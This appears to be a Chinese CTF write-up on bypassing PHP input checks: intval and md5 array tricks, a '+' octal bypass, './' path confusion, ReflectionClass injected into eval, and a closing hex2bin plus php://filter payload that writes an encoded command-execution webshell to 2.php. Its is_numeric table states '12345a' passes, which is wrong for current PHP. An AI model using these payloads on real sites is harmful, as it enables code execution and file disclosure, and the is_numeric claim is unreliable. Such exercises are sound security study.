intval函数
用于获取变量的整数值(将其他进制转换成10进制输出)
数组绕过
来看看下面这段代码
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
绕过方法很简单,把num变成数组就行,即num[]=1
+号利用
碰到一道比较巧妙的绕过题,先看代码
include("flag.php");highlight_file(__FILE__);if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]|\./i", $num)){ die("no no no!!"); } if(!strpos($num, "0")){ die("no no no!!!"); } if(intval($num,0)===4476){ echo $flag; }}
可以看到要想拿到flag,就得使用转换结果为4476的num值
但是显然8与16进制无法直接使用。怎么办呢?仔细观察if(!strpos($num, "0"))
,可以看这句用来阻止8进制使用的判断其实原理是判断第一位是不是0。怎么办呢?看到这里你应该也猜到了,利用+在url中代表空格的特点,最后的payload是num=+010574
./绕过
同样也是一道很有意思的绕过题
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
虽然没法直接读取flag.php,但只要在前面加个./
就能混淆视听
md5()函数空值
在题目中碰到md5函数第一反应不应该是去撞库(要是实在没办法也不是不行),而是想办法让其成为0或空值。来看看下面代码
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
}
当md5函数参数为数组的时候会发生错误,并返回NULL。可以利用这点进行构造payload a[]=1&b[]=2
&取址
看看下面这句就能明白
$_GET=&$_POST
意思是是将后面代码中的get方式全部转变成post
in_array函数漏洞
如果没有设置第三个参数,就可以形成自动转换。例如输入的n=1.php自动转换为1。更多可以看这里
&& > || > = > and > or
在php中,运算符满足上述关系。这里需要注意,and与&&不是一个东西,但效果是一样的。同理,||和or也不是一个东西,但效果也是一样的。
另外,=是最需要注意的,比如当题目中出现 $a=$b and $c and $d
时,c、d变量均为干扰,a必然被b赋值
Reflectionclass
当需要读取一个类,但参数匹配又被像下面这样卡死的时候
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
就可以用Reflectionclass
来创建一个映像类,然后再echo就可以了。
payload是?v1=1&v2=echo new Reflectionclass&v3=;
is_numeric
这个函数在之前有提到过,再拎出来重新说一下
看下面这几个字符串,看放到该函数中处理后返回值是什么
12345 //true
"12345" //true
"12345a" //true
"a12345" /false
ascii转换
一道很有意思的题,先来看代码
$v1 = $_POST['v1'];$v2 = $_GET['v2'];$v3 = $_GET['v3'];$v4 = is_numeric($v2) and is_numeric($v3);if($v4){ $s = substr($v2,2); $str = call_user_func($v1,$s); echo $str; file_put_contents($v3,$str);}else{ die('hacker');}
要让v4通过,v2则一定得是数字。但如果变量str最后只是一串数字,那么最终写入的也只是一串数字。这里就需要用到hex2bin()
函数。这个函数的功能是将十六进制字符串转换成ascii码对应的字符,我们就可以利用这点,先将准备好的payload转换成ascii形式,再转换成十六进制,当payload在进行解码时,就会先从十六进制变成ascii,再变成我们准备好的payload
这里我准备了一句转换好的payload
v2=225044383959474e6864434171594473&v3=php://filter/write=convert.base64-
decode/resource=2.php
v1=hex2bin
这里需要注意,v2会经过substr函数处理,也就是会被剔除掉前面两个字符。真正的payload从5这个数字开始